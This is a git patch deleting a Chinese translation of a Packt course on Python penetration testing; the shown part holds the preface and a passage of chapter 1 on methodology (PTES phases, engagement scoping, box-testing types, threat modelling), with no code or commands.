From 5ee5b0a471c8fb1e594bba7243732479f91d2385 Mon Sep 17 00:00:00 2001 From: wizardforcel <562826179@qq.com> Date: Fri, 22 Oct 2021 22:59:40 +0800 Subject: [PATCH] 2021-10-22 22:59:40 --- trans/py-pentest-dev/00.md | 91 --- trans/py-pentest-dev/01.md | 556 ----------------- trans/py-pentest-dev/02.md | 1033 ------------------------------- trans/py-pentest-dev/03.md | 757 ----------------------- trans/py-pentest-dev/04.md | 576 ------------------ trans/py-pentest-dev/05.md | 516 ---------------- trans/py-pentest-dev/06.md | 263 -------- trans/py-pentest-dev/07.md | 351 ----------- trans/py-pentest-dev/08.md | 873 --------------------------- trans/py-pentest-dev/09.md | 557 ----------------- trans/py-pentest-dev/10.md | 386 ------------ trans/py-pentest-dev/11.md | 676 --------------------- trans/py-pentest-dev/12.md | 949 ----------------------------- trans/py-pentest-dev/13.md | 873 --------------------------- trans/py-pentest-dev/14.md | 377 ------------ trans/py-pentest-dev/15.md | 326 ---------- trans/py-pentest-dev/16.md | 364 ----------- trans/py-pentest-dev/17.md | 587 ------------------ trans/py-pentest-dev/18.md | 775 ------------------------ trans/py-pentest-dev/19.md | 865 -------------------------- trans/py-pentest-dev/20.md | 943 ----------------------------- trans/py-pentest-dev/21.md | 602 ------------------- trans/py-pentest-dev/22.md | 686 --------------------- trans/py-pentest-dev/23.md | 889 --------------------------- trans/py-pentest-dev/24.md | 1102 ---------------------------------- trans/py-pentest-dev/25.md | 601 ------------------ trans/py-pentest-dev/26.md | 525 ---------------- trans/py-pentest-dev/27.md | 7 - trans/py-pentest-dev/sec1.md | 5 - trans/py-pentest-dev/sec2.md | 5 - trans/py-pentest-dev/sec3.md | 5 - 31 files changed, 17121 deletions(-) delete mode 100644 trans/py-pentest-dev/00.md delete mode 100644 trans/py-pentest-dev/01.md delete mode 100644 trans/py-pentest-dev/02.md delete mode 100644 trans/py-pentest-dev/03.md delete mode 100644 trans/py-pentest-dev/04.md delete mode 100644 trans/py-pentest-dev/05.md delete mode 100644 trans/py-pentest-dev/06.md delete mode 100644 trans/py-pentest-dev/07.md delete mode 100644 trans/py-pentest-dev/08.md delete mode 100644 trans/py-pentest-dev/09.md delete mode 100644 trans/py-pentest-dev/10.md delete mode 100644 trans/py-pentest-dev/11.md delete mode 100644 trans/py-pentest-dev/12.md delete mode 100644 trans/py-pentest-dev/13.md delete mode 100644 trans/py-pentest-dev/14.md delete mode 100644 trans/py-pentest-dev/15.md delete mode 100644 trans/py-pentest-dev/16.md delete mode 100644 trans/py-pentest-dev/17.md delete mode 100644 trans/py-pentest-dev/18.md delete mode 100644 trans/py-pentest-dev/19.md delete mode 100644 trans/py-pentest-dev/20.md delete mode 100644 trans/py-pentest-dev/21.md delete mode 100644 trans/py-pentest-dev/22.md delete mode 100644 trans/py-pentest-dev/23.md delete mode 100644 trans/py-pentest-dev/24.md delete mode 100644 trans/py-pentest-dev/25.md delete mode 100644 trans/py-pentest-dev/26.md delete mode 100644 trans/py-pentest-dev/27.md delete mode 100644 trans/py-pentest-dev/sec1.md delete mode 100644 trans/py-pentest-dev/sec2.md delete mode 100644 trans/py-pentest-dev/sec3.md diff --git a/trans/py-pentest-dev/00.md b/trans/py-pentest-dev/00.md deleted file mode 100644 index 0f150d1..0000000 --- a/trans/py-pentest-dev/00.md +++ /dev/null @@ -1,91 +0,0 @@ -# 序言 - -Python 是一个强大的新时代脚本平台,允许您轻松地构建漏洞利用、评估服务、自动化和链接解决方案。渗透测试是一种测试计算机系统、网络或 web 应用程序的实践,以发现攻击者可以利用的安全弱点。由于它提供的强大功能和灵活性,Python 已经成为用于渗透测试的最流行的语言之一。 - -本课程的所有主题都包含在各个模块中,以便您在完成一个模块后提高技能,并为下一个模块做好准备。通过这门全面的课程,您将从头到尾学习如何使用 Python 进行 pentesting 技术! - -第一个模块采用一种完全不同的方法来教授渗透测试和 Python 脚本编写,而不是强调如何创建与市场上当前工具做相同事情的脚本,或者强调可以编写的特定类型的漏洞利用。我们将探讨如何实现参与,并了解脚本在评估中的适用性,以及当前工具在哪里满足需求。此方法不仅将教您如何从构建介绍性脚本到多线程攻击工具,还将教您如何评估像专业人员这样的组织,而不管您的经验水平如何。 - -第二个模块是一个实用指南,通过详细的代码示例向您展示了使用 Python 进行 pentesting 的优势。本模块首先探讨使用 Python 联网的基础知识,然后讨论网络和无线测试,包括信息收集和攻击。稍后,我们将深入研究黑客攻击应用层,首先从网站收集信息,然后最终进入与网站黑客攻击相关的概念,如参数篡改、DDOS、XSS 和 SQL 注入。 - -在本课程的最后一部分中,您将接触到 60 多种用于执行 pentesting 的方法,以确保您随时掌握用于 web 应用程序测试的正确代码。你可以把每一个食谱使用和执行 pentesting 在去!本模块旨在增强您的五项考试实践知识。 - -# 此学习路径涵盖的内容 - -[模块 1](sec1.html "Part 1. Module 1"),学习使用 Python 进行渗透测试,本模块将带您了解如何创建满足相关需求的 Python 脚本,这些脚本可以适应特定情况。随着章节的进展,脚本示例将解释新概念以增强您的基础知识,最终使您能够构建多线程安全工具、将安全工具链接在一起、自动化报告、创建自定义漏洞利用以及扩展 Metasploit 模块。每章都以概念和工艺为基础,在您可以模拟的测试环境中使用详细的示例。 - -[模块 2](sec2.html "Part 2. Module 2"),Python 渗透测试要领,在本模块的学习过程中,我们深入研究了黑客攻击应用层,从网站收集信息开始。然后,我们继续讨论与网站黑客相关的概念,如参数篡改、DDoS、XSS 和 SQL 注入。我们了解如何使用 Python 程序执行无线攻击,检查实时系统,并区分远程机器的操作系统和服务。您关于 pentesting 的概念将从 Python 中的客户机/服务器体系结构的基础知识中清除。 - -[模块 3](sec3.html "Part 3. Module 3"),Python Web 渗透测试烹饪书,本模块是一本实用指南,为您提供了一个 Python 脚本库,可供您在测试过程的每个阶段使用或定制您的需求。每章都会逐步介绍设计和修改脚本以攻击 web 应用程序的方法。您将学习如何从网站收集公开和隐藏的信息,以进一步攻击、识别漏洞、执行 SQL 注入、利用 Cookie 以及枚举配置不良的系统。您还将了解如何破解加密,创建有效负载以模拟恶意软件,以及创建工具以将您的发现输出为可展示的格式,以便向您的雇主报告。如果你是 Python 大师,你可以寻找将你的手艺应用于渗透测试的想法,或者如果你是一个有渗透测试经验的新手,那么这个模块可以作为你探索 pentesting 实践经验的完美结尾。 - -# 这条学习道路需要什么 - -单元 1: - -您需要一个能够支持在行业标准虚拟机监控程序中运行的多个虚拟机(VM)的系统,例如 VMware Workstation(最新版本)或 Virtual Box。首选的解决方案是在最新版本的 Windows(如 Windows 10)上运行的 VMware Workstation。必要时,您需要 Internet 连接才能下载支持库和软件包。每章开头将列出每个详细的软件包和库。。 - -单元 2: - -您需要有 Python 2.7、Apache2.x、RHEL 5.0 或 CentOS 5.0 以及 Kali Linux。 - -单元 3: - -你需要 Python2.7,一个大多数食谱的互联网连接和良好的幽默感。 - -# 这条学习之路是给谁的 - -如果您是 Python 程序员或具有 Python 编程基本知识的安全研究人员,并且希望在 Python 的帮助下学习渗透测试,那么本课程非常适合您。即使您是道德黑客领域的新手,本课程也可以帮助您发现系统中的漏洞,以便您准备好应对任何类型的攻击或入侵。 - -# 读者反馈 - -我们欢迎读者的反馈。让我们知道你对这门课程的看法你喜欢或不喜欢什么。读者反馈对我们来说很重要,因为它可以帮助我们开发出您将真正从中获得最大收益的标题。 - -要向我们发送一般反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在邮件主题中提及课程名称。 - -如果您对某个主题有专业知识,并且您有兴趣撰写或贡献一本书,请参阅我们的作者指南[www.packtpub.com/authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -既然您是 Packt 课程的骄傲拥有者,我们有很多东西可以帮助您从购买中获得最大收益。 - -## 下载示例代码 - -您可以从您的帐户[下载本课程的示例代码文件 http://www.packtpub.com](http://www.packtpub.com) 。如果您在其他地方购买了本课程,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support) 并注册,将文件直接通过电子邮件发送给您。 - -您可以通过以下步骤下载代码文件: - -1. 使用您的电子邮件地址和密码登录或注册我们的网站。 -2. 将鼠标指针悬停在顶部的**支架**选项卡上。 -3. 点击**代码下载&勘误表**。 -4. 在**搜索**框中输入课程名称。 -5. 选择要下载代码文件的课程。 -6. 从您购买本课程的下拉菜单中选择。 -7. 点击**代码下载**。 - -您也可以通过点击 Packt 发布网站课程网页上的**代码文件**按钮下载代码文件。在**搜索**框中输入课程名称,即可进入本页面。请注意,您需要登录到您的 Packt 帐户。 - -下载文件后,请确保使用以下最新版本解压或解压缩文件夹: - -* WinRAR/7-Zip for Windows -* 适用于 Mac 的 Zipeg/iZip/UnRarX -* 适用于 Linux 的 7-Zip/PeaZip - -课程的代码包也托管在 GitHub 上的[https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers](https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers) 。我们还提供了丰富的课程目录和视频中的其他代码包[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/) 。看看他们! - -## 勘误表 - -虽然我们已尽一切努力确保内容的准确性,但错误确实会发生。如果您在我们的课程中发现错误,可能是文本或代码中的错误,如果您能向我们报告,我们将不胜感激。通过这样做,您可以使其他读者免于沮丧,并帮助我们改进本课程的后续版本。如果您发现任何错误,请访问[进行报告 http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata) ,选择您的课程,点击**勘误表提交表**链接,输入您勘误表的详细信息。一旦您的勘误表得到验证,您的提交将被接受,勘误表将上载到我们的网站或添加到该标题勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请转至[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support) 并在搜索字段中输入课程名称。所需信息将出现在**勘误表**部分下。 - -## 盗版 - -在互联网上盗版版权材料是所有媒体都面临的一个持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上发现任何形式的非法复制品,请立即向我们提供地址或网站名称,以便我们采取补救措施。 - -请致电`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供可疑盗版材料的链接。 - -我们感谢您在保护我们的作者方面提供的帮助以及我们为您带来有价值内容的能力。 - -## 问题 - -如果您对本课程的任何方面有任何问题,您可以通过`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽力解决此问题。 \ No newline at end of file diff --git a/trans/py-pentest-dev/01.md b/trans/py-pentest-dev/01.md deleted file mode 100644 index 2104aae..0000000 --- a/trans/py-pentest-dev/01.md +++ /dev/null @@ -1,556 +0,0 @@ -# 第 1 章:了解渗透测试方法 - -在快速切入之前,在本章中,我们将实际定义什么是渗透测试,什么不是,**渗透测试执行标准**(**PTES**)是什么,以及将使用的工具。这些信息将有助于指导您可能参与的未来业务。本章将帮助指导新的评估员和组织,他们希望建立自己的业务。如果你想直接进入代码和细节,我建议你跳到[第 2 章](02.html "Chapter 2. The Basics of Python Scripting"),*Python 脚本的基础*。我提醒你,阅读本章的好处在于,它将提供一个框架和思维方式,帮助你将脚本儿童与专业人士区分开来。那么,让我们从什么是渗透测试开始。 - -最重要的是,这些工具和技术只能在您拥有或有权在其中运行这些工具的环境中执行。切勿在未经授权的环境中练习这些技术;记住,未经许可的渗透测试是非法的,你可能因此而坐牢。 - -### 注 - -要实践最初几章中列出的内容,请安装一个虚拟化套件,如 VMware Player([http://www.vmware.com/products/player](http://www.vmware.com/products/player) 或 Oracle VirtualBox([http://www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html](http://www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html) )。使用 Kali Linux([的当前版本创建**虚拟机**(**虚拟机**)https://www.kali.org/downloads/](https://www.kali.org/downloads/) 、武士 Web 测试框架([http://samurai.inguardians.com/](http://samurai.inguardians.com/) 和可分解( [http://www.offensive-security.com/metasploit-unleashed/Requirements](http://www.offensive-security.com/metasploit-unleashed/Requirements) 。您可以使用 Kali 系统中的 Metasploitable 框来执行这些测试。提供的最后一个链接有许多与这些工具相关的教程和配置说明;如果每章都需要额外的工具,它们将在此处突出显示。 - -# 渗透测试概述 - -关于渗透测试是什么存在着巨大的误解。这在最近进入该领域的专业人士中也很常见。要求进行渗透测试的新渗透测试人员或专业人士通常会说,这些测试证明了漏洞的可利用性、环境对漏洞的敏感性,或者只是漏洞的存在。这种误解表现为对约定范围、来源和执行的实际影响。此外,这种错误的认识包括这样的想法:渗透测试将发现所有漏洞,每次都能找到未知的零天,并且无论采取何种控制措施,所有目标都将始终得到满足。 - -渗透测试是评估组织的安全策略是否能够保护关键数据不受恶意参与者行为影响的实践。安全战略是组织的首要信息安全计划。它侧重于维护组织关键数据和资源的机密性、完整性和可用性。这是通过使用人员、流程和技术的组合将风险降低到可接受的水平。渗透测试的第一个和第二个定义之间的区别是白天和黑夜。 - -第一个定义只关注脆弱性;这意味着人们期望评估员将执行的活动与利用或发现漏洞或简单的错误配置有关。它不考虑与组织可能拥有的策略、流程或不安全关系相关的不良做法。这些先入为主的观念通常会对组织和新评估人员产生以下重大影响。 - -组织领导层不会制定与违反关键数据存储库相关的访问控制或识别关键数据位置相关的目标。人们还将初步相信**入侵保护系统**(**IPS**)和**入侵检测系统**(**IDS**)是防止泄露的关键;所有有经验的评估员都知道这不是事实。此外,评估的范围可能无法提供现实的结果。这种误解最具破坏性的结果是,组织可能无法识别评估员何时缺少执行所需参与所需的技能。 - -### 注 - -类似地,新的评估人员有一种误解,即一个**漏洞管理解决方案**(**VMS**),如 Nexpose、Nessus、Qualys 或其他人,将识别进入环境的途径。这些可能强调进入系统的方法,但的假阳性和真阴性率很高。假阳性表示某些东西被确定为易受攻击,但事实并非如此。假阳性的反面是真阴性,这意味着某些东西被确定为安全的,但它却容易受到攻击。 - -如果漏洞不在数据库中,则系统不会识别可能授予访问权限的漏洞。VMS 不会突出显示与不良做法或流程相关的链式攻击,这将被归类为弱点或漏洞。这些工具在渗透测试中的使用使得它们非常嘈杂,它们鼓励评估人员模拟相对过时的攻击。 - -大多数恶意参与者利用阻力最小的路径,这通常与著名的 MS08-067 或 MS06-40 等远程代码攻击无关。相反,评估员应该后退一步,寻找可能提供未被注意访问的不安全关联和配置。大多数高级评估人员在渗透测试期间不使用 VMS 工具,而是专注于手动评估环境。 - -其中许多误解与其他类型的约定直接相关。这来自其他被宣传为渗透测试的安全评估,或者来自运行或接收这些测试结果的人员。在下一节中,列出了经常与渗透测试混淆的评估样本。它应该足以突出实际渗透测试与其他安全评估和活动之间的差异。 - -# 了解渗透测试不是什么 - -其他类型的评估和活动经常被宣传或混淆为渗透测试。这些类型的参与包括漏洞评估、大规模逆向工程项目和黑客攻击。让我们依次讨论每一个问题,以便了解渗透测试的适用范围。 - -## 脆弱性评估 - -**漏洞评估****VA**使用虚拟机扫描漏洞。好的 VAs 然后使用评估员消除误报,之后可根据业务影响和利用可能性调整调查结果的实际风险评级。通常,安全顾问或渗透测试人员会执行这些评估,这可能需要实际利用这些漏洞进行概念验证。这种类型的评估非常有助于展示一个组织在安全配置中执行修补和部署资产的能力。这里的关键是,这些类型的评估并不侧重于从恶意参与者的角度访问关键数据,而是与发现漏洞相关。 - -## 逆向工程项目 - -倒车可以是渗透测试的一部分,但今天比过去难得多。[第 8 章](08.html "Chapter 8. Exploit Development with Python, Metasploit, and Immunity")、*利用 Python、Metasploit 和免疫*进行的漏洞开发将更详细地讨论这一点,因为这里将描述实际的漏洞开发。当前的渗透测试可能包括漏洞开发,但其目的是创建与国产代码相关的概念证明,并获得对数据可能驻留的关键系统的访问权。 - -相比之下,在大规模的反向服务中,评估员试图证明应用程序对反向服务的总体敏感性以及与源代码、编译和关联库相关的弱点。这些类型的攻击更适合于逆向工程师,他们花时间识别常见的攻击链和方法来破坏应用程序,而不是获得对关键数据的访问。在这一特定领域的经验水平是广泛的。通常,许多评估人员从渗透测试转移到这一特定技能集,在那里他们全职进行反向测试。 - -## 黑客行为 - -黑客攻击不是一种评估,而是直接利用可利用的漏洞;这可能与恶意活动有关,也可能是为了研究。黑客攻击的目的不是获取对关键数据的访问,而是仅仅破解漏洞。对黑客行为有很多定义,通常与渗透测试直接相关,但没有具体或明确的目标与黑客行为相关。既然已经描述了渗透测试和其他活动之间的一些重大差异,那么就可以强调与实现目标相关的方法。 - -# 评估方法 - -有多种与渗透测试相关的评估方法。一些方法的例子包括**开源安全测试方法手册**(**OSSTMM**),用于 Web 评估的**开放 Web 应用程序安全项目**(**OWASP**),以及**国家标准与技术研究所**(**NIST**特别出版物 800-115《信息安全测试和评估技术指南》和 PTES。本模块中我们将重点关注的方法是 PTES,因为它是新评估人员的可靠资源。 - -# 渗透测试执行标准 - -PTE 有七个不同的阶段,即交战前互动、情报收集、威胁建模、漏洞分析、利用、利用后和报告。在某种程度上,每项业务都将遵循这些阶段,但经验丰富的评估员将从一个阶段平稳地、相对无缝地移动到下一个阶段。使用方法的最大好处是,它允许评估人员全面、一致地评估环境。与评估保持一致意味着两件事: - -* 评估员遗漏大型漏洞的可能性较小 -* 它降低了隧道视野,这会导致评估人员花太多时间专注于无法推进参与的区域 -* 这意味着,无论客户或环境如何,评估员都不会以先入为主的观念进行评估 -* 评估员每次将为环境提供相同水平的能力 -* 客户每次都会收到高质量的产品,评估人员很少会遗漏细节 - -所有的方法或框架都提供了这些好处,但是像 OWASP 这样的 PTE 对新的评估员来说还有一个额外的好处。在 PTE 中,有许多与评估员可能遇到的不同环境相关的技术指南。在这些技术指南中,有关于如何使用行业标准工具处理和评估环境的建议。 - -需要注意的是,技术指南不是运行手册;他们不会向评估员提供介入并从头到尾执行审计业务的方法。只有经验和接触环境才能为评估员提供处理他/她遇到的大多数情况的方法。应该注意的是,没有两个环境是相同的;每个组织、公司或公司都有细微差别。这些差异意味着,即使是经验丰富的评估员也会发现让他/她难堪的时刻。当标准开发不起作用时,测试人员可以有隧道视觉;坚持一种方法论可以防止这种情况。 - -在高度安全的环境中,评估人员通常必须具备创造性,并进行连锁利用,以实现设定的目标。我的一位老队友雄辩地将创造性和复杂的功绩定义为:“它们是渗透测试人员绝望的信号。”这个幽默的类比还突出了评估人员何时会提高其技能。 - -评估员如何知道他/她何时需要执行这些复杂的利用,是因为知道所有简单的东西都失败了;当真正的攻击者使用阻力最小的路径时,评估员也应如此。当这失败时,并且只有当这失败时,评估员才应该开始提升必要的技能水平。作为评估员,您正在评估环境抵抗恶意参与者行为的能力。 - -这些防护物是建筑物中的砖块,随着时间的推移而形成,通过形成防御形成安全的姿态。就像美式足球一样,如果一个组织没有掌握强大防守的基本要素,那么它就无法抵御诡计。因此,作为评估员,我们应该从底层开始,逐步向上,逐项列出问题。 - -这并不意味着如果发现一条路径,评估员应该停止;他/她应确定关键数据位置,并证明这些位置可能受到危害。评估员还应突出显示真正的攻击者访问关键数据可能采取的其他路径。能够识别与泄露关键数据相关的多个路径和方法需要一种系统的方法。这七个阶段是控制交战流程的一个例子。 - -## 婚前互动 - -PTE 的第一阶段是所有订婚前工作,毫无疑问,这是顺利成功订婚的最重要阶段。在此采取的任何捷径或完成此阶段的过度匆忙都可能对评估的其余部分产生重大影响。此阶段通常由组织创建评估请求开始。可能要求的评估示例通常分为以下一大类: - -* Web 应用程序 -* 内部网络 -* 外部网络 -* 身体的 -* 社会工程电话 -* 网络钓鱼 -* **互联网语音协议**(**VOIP**) -* 无线的 -* 移动应用 - -组织可联系评估人员名录或提供**建议书征询函**(**RFP**),其中将详细说明环境类型、所需评估以及其希望交付的内容。根据本招标书,多家评估公司或单个**有限责任公司**(**有限责任公司**)将对与环境细节相关的工作进行投标。其投标最符合要求的工程、价格、相关范围、时间表和能力的一方通常会赢得工程。 - -**工作说明书**(**SOW**)详细说明了将要执行的工作和最终产品,通常是**业务约定书**(**EL**或包含所有必要法律细节的合同的一部分。一旦 EL 被签署,范围的微调就可以开始了。通常,这些讨论是评估团队第一次遇到范围蔓延。在这一点上,客户可能会尝试增加或延长承诺的工作水平,以获得比其可能承诺支付的更多的报酬。这通常不是故意的,但在极少数情况下,这是由于 RFP 编写者、评估员提出的问题的返回答案以及最终 EL 或 SOW 之间的错误沟通造成的。 - -通常,小的调整或延长工作可能会被批准,但更大的要求会被取消,因为它们可能被视为免费工作。然后,记录将要执行的业务部分的最终范围。有时,一个 EL 将涵盖多个参与部分,可能需要不止一个后续讨论。在这一阶段需要记住的一件大事是,作为评估员,您正在与客户合作,我们应该提供帮助并灵活帮助客户实现其目标。 - -除了在初始业务范围界定期间创建的范围蠕变外,客户在业务执行期间通常还有机会增加范围。这通常伴随着客户机在测试开始后请求工作扩展或额外的资源测试。由于资源和时间原因,对范围的任何修改不仅应仔细考虑,还应以某种书面形式完成,如电子邮件、签名和授权信,或对请求的其他非信誉确认书。 - -最重要的是,任何范围调整都应由授权做出此类决定的人员进行。这些考虑因素都是保持约定合法和安全的一部分。签署这些文件的人必须了解与满足截止日期、评估特定环境和保持利益相关者满意相关的风险。 - -在这一特定阶段确定了审计业务的目标,以及其他各方可能需要的批准。如果公司将其环境托管在云提供商基础设施或其他共享资源上,则还需要该组织的批准。批准活动的各方通常需要测试的开始和结束日期,以及来源**互联网协议**(**IP**地址),以便验证活动是否真正恶意。 - -评估开始时必须确定的其他项目是评估正常报告和紧急情况的联络点。如果评估员的活动认为某个资源已离线,则评估员需要立即与联系人联系。此外,如果发现严重漏洞,或者如果认为资源已被真正的恶意参与者破坏,评估员应立即联系主要联系人(如果可能),如果没有,则联系紧急联系人。 - -此联系应在评估员获取必要的概念证明后进行,以证明资源可能已经受损或存在严重漏洞。在联系之前完成概念验证捕获的原因是,这些问题的报告通常意味着资源离线。一旦离线,评估员可能无法跟进和证明他/她在最终报告中的陈述。 - -### 注 - -概念验证通常是特定数据类型、事件序列、暴露、利用或泄露的屏幕截图。 - -除了报告意外和关键事件外,还应安排定期状态会议。这可以是每周、每天或更频繁或更少的,取决于客户的请求。状态会议应包括评估员已经做了什么,他们计划做什么,以及可能影响最终报告交付的时间线的任何偏差。 - -与产品和最终报告交付相关,必须有一种安全的方法来交付约定的细节。这里的平衡来自以下因素:客户的能力和知识水平、评估团队可用的解决方案、数据的安全性以及客户的能力和要求。最好的两种选择是安全交付服务器,或**相当好的隐私**(**PGP**加密。有时,这些选项不可用,或者其中一方无法实施或使用它们。此时,应确定其他形式的数据保护。 - -这里需要注意的一点是,受密码保护的文档、可移植文档格式和 zip 文件通常没有强大的加密形式,但它们总比没有好。这些仍然需要来回传输密码才能打开数据。如果可能,应通过其他方法或与实际数据不同的通道传输密码。例如,如果数据通过电子邮件发送,则应通过电话、短信或信鸽提供密码。与此相关的实际风险将在后面的章节中重点介绍,届时我们将讨论针对 web 界面的密码喷射攻击和破解外围的方法。参与前讨论的最后一部分涉及如何进行测试:白盒、灰盒或黑盒。 - -### 白盒试验 - -白盒测试也称为透明盒测试或水晶盒测试。这个词可以是这三个词中的任何一个,但它基本上是指知情的攻击者或知情的内幕人士。关于的合适术语有多种说法,但归根结底,这种类型的评估强调了与恶意内幕人士或攻击者相关的风险,他们可以访问显著暴露的信息。向评估员提供了与网络上的内容、网络运行方式甚至潜在弱点(如基础设施设计、IP 地址和子网)相关的详细信息。由于时间非常短,这种评估非常有益。从完全暴露的信息后退或完全拉回的窗帘是灰盒格式。 - -### 灰盒试验 - -遵循灰框格式的评估由评估员提供基本信息。这包括目标、可接受测试的区域以及操作系统或嵌入式设备品牌。组织通常也会逐项列出哪些 ID/IP 已到位,以便评估员在看到错误结果时能够确定原因。灰箱评估是最常见的评估类型,组织提供一些信息以提高结果的准确性并增加反馈的及时性;最后,它可能会降低参与的成本。 - -### 黑盒测试 - -评估员将遇到的黑盒约定的数量与白盒约定的数量大致相同,并且它们是光谱的完全相反的一面。评估人员除了要评估的组织之外,没有提供任何信息。评估员从广泛的**开源情报**(**OSINT**收集中确定活跃的资源。高级评估员只应执行这些类型的评估,因为他们必须确定目标在外部居住的区域,而在内部则要格外安静。 - -在组织进行初步研究后的外部评估测试之前,目标始终由请求组织授权或拥有。黑盒测试通常是双盲测试的一部分,也称为评估,不仅是对其环境的测试,也是对组织的监控和事件响应能力的测试。 - -### 双盲试验 - -双盲测试通常是黑盒式约定的一部分,但也可以在灰盒和白盒式约定中进行。灰盒和白盒交战的关键在于,对测试周期、攻击向量和其他信息的控制更难对防守团队保密。在执行约定之前,必须充分确定被视为双盲的约定,其中应包括对检测到的具体活动和应检测到的活动进行事后讨论和验证。这些类型的交战结果对于确定防守团队工具的调整程度以及过程中的潜在差距非常有用。只有当组织具有成熟的安全态势时,才应执行双盲。 - -## 情报搜集 - -这是 PTE 的第二阶段,如果组织希望评估团队确定其外部风险,这一阶段尤为重要。这在与外部周长测试相关的黑盒或灰盒约定中非常常见。在参与的这一阶段,评估员将使用注册中心,如**美国互联网号码注册中心**(**ARIN**)或其他区域注册中心、信息库查询工具,如 WhoIs、Shodan、Robtex、社交媒体网站,以及工具,如 Recon 和**谷歌黑客数据库**(**GHDB**)。 - -除了外部评估之外,在这一阶段收集的数据非常适合构建社会工程和物理活动的概况。发现的有关组织及其人员的组件将为评估人员提供与员工互动的手段。这样做的目的是希望员工能够泄露信息或提供借口,以便提取关键数据。对于技术合作,在工作网站、公司网站、地区博客和校园地图上进行的研究可以帮助建立字典攻击的单词列表。特定的数据集,如当地运动队、球员姓名、街道名称和公司首字母缩写词,通常作为密码非常流行。 - -### 注 - -《韦氏词典》将“借口”定义为所谓的目的、动机或假象,以掩盖真实意图或事态。 - -像 Cewl 这样的工具可以用来提取这些网站上的单词,然后,这些单词可以用开膛手约翰(John the Ripper)进行操作,用字符替换来置换数据。这些列表对于针对登录接口的字典攻击或破解从组织中提取的哈希非常有用。 - -### 注 - -置换在密码攻击和界面密码猜测攻击中非常常见。韦氏词典将“排列”定义为事物存在或排列的多种不同方式或形式之一。 - -其他对评估人员有利的细节包括组织在招聘广告、员工 LinkedIn 档案、技术合作关系和最近的新闻文章中列出的技术。这将为评估员提供有关他/她可能遇到的资产类型和即将进行的主要升级的情报。这使得现场完成的工作在执行之前能够更好地针对性和研究。 - -## 威胁建模 - -PTE 的第三个阶段是威胁建模,对于大多数交战,此阶段被跳过。威胁建模通常是单独参与的一部分,即根据许多因素逐项列出组织可能面临的潜在威胁。这些数据用于帮助构建案例研究,以识别利用组织漏洞表现为风险的真正威胁。通常,案例研究用于量化一段时间内的特定渗透测试,以确定安全策略的果断程度以及未考虑的因素。 - -研究的组成部分扩展到标准情报收集之外,包括相关业务、商业模式、第三方、声誉和与有见解的主题相关的新闻文章。除了所发现的以外,由于时间、暴露和记录的事实,评估员始终无法确定某些粒子。威胁建模在很大程度上是理论性的,但它基于发现的指标和业务所在市场中的过去事件。 - -当威胁建模用作渗透测试的一部分时,情报收集阶段和威胁建模阶段的详细信息将回滚到交战前阶段。确定的详细信息有助于建立约定,并揭示评估员应该模拟的恶意参与者的类型。组织面临的常见威胁类型如下: - -* 民族国家 -* 有组织犯罪 -* 黑客 -* 脚本小子 -* 活动分子 -* 内部人员(有意或无意) - -在评估威胁时,有几件事要时刻牢记在心,这些威胁中的任何一种都可能是内幕人士。只要一封网络钓鱼电子邮件,或者一名不满的员工广播凭据或访问权限,一个组织就可以公开妥协。内幕人士可能无意中提供访问权限的其他方式包括技术论坛、支持团队和博客。 - -技术和管理支持团队经常在博客、论坛和其他位置发布配置或设置以寻求帮助。任何时候发生这种情况,内部数据都会暴露在以太中,而且这些配置通常会保存加密或未加密的凭据、访问控制或其他安全功能。 - -那么,这是否意味着每个组织都受到内部人士的威胁,而且经验的范围可能不限于实际内部人士?内部人士也是最难缓解的威胁。大多数渗透测试不包括模拟内幕人士的凭证。根据我的经验,这只能由具有成熟安全态势的组织来完成。这种状态通常只有通过各种安全评估才能达到,包括通过渗透测试模拟的多种威胁。 - -大多数组织不支持内部认证评估,除非他们有一些未经认证的业务,这些业务的调查结果已经得到缓解。即使如此,也只有那些强烈希望通过董事会级别的认可来模拟现实威胁的组织才会这样做。除了内部人员,其他威胁可以通过观察多个因素进行评估;通过查看 Verizon**数据泄露调查报告**(**DBIR**可以找到过去事件关联的一个例子。 - -Verizon DBIR 使用报告的妥协,并根据市场将结果汇总为最常识别的事件类型。但是,这些信息应结合上下文,因为这仅适用于捕获或报告的事件。通常,被抓住的事件可能不是最初导致后续妥协的方式。 - -每年都有市场变化的威胁,因此一年内创建的报告的结果对下一年的研究没有用处。因此,任何对此信息感兴趣的读者都应该从[下载最新版本 http://www.verizonenterprise.com/DBIR/](http://www.verizonenterprise.com/DBIR/) 。此外,确保根据与公开信息相关的额外研究和其他报告选择要模拟的向量。根据单一研究形式的假设进行评估是不专业的。 - -大多数时候,组织已经知道他们需要或想要什么类型的参与。这一阶段与所述研究的互动通常是行业专家而不是新评估人员要求的。因此,如果开始做这项工作时,您看到很少有人请求进行包括这一工作阶段的评估,至少在最初阶段是这样,请不要感到惊讶。 - -## 脆弱性分析 - -直到这个阶段,大部分(如果不是全部的话)所做的研究都没有涉及到组织资源;相反,这些细节是从其他存储库中提取的。在 PTES 的第四阶段,评估员将确定进一步研究测试的可行目标。这直接涉及端口扫描、横幅抓取、公开服务、系统和服务响应以及版本标识。这些项目虽然看似微小,但却是进入组织的支点。 - -从技术角度来说,成为一名优秀评估师的秘诀在于这个阶段。原因是评估员的大部分时间都花在这里,尤其是在职业生涯的早期。评估人员研究暴露的内容、可行的漏洞以及利用这些系统的方法。花费数年时间进行评估的评估人员通常会在这一阶段加速,因为他们有找到攻击目标和获取访问权限的方法的经验。不要被这一点所愚弄,因为一方面,他们花了很多年的时间通过经验来整理这些数据;另一方面,在某些情况下,即使是一个伟大的评估师也会在这一阶段花费数小时,因为一个组织可能有一种独特的或僵化的姿态。 - 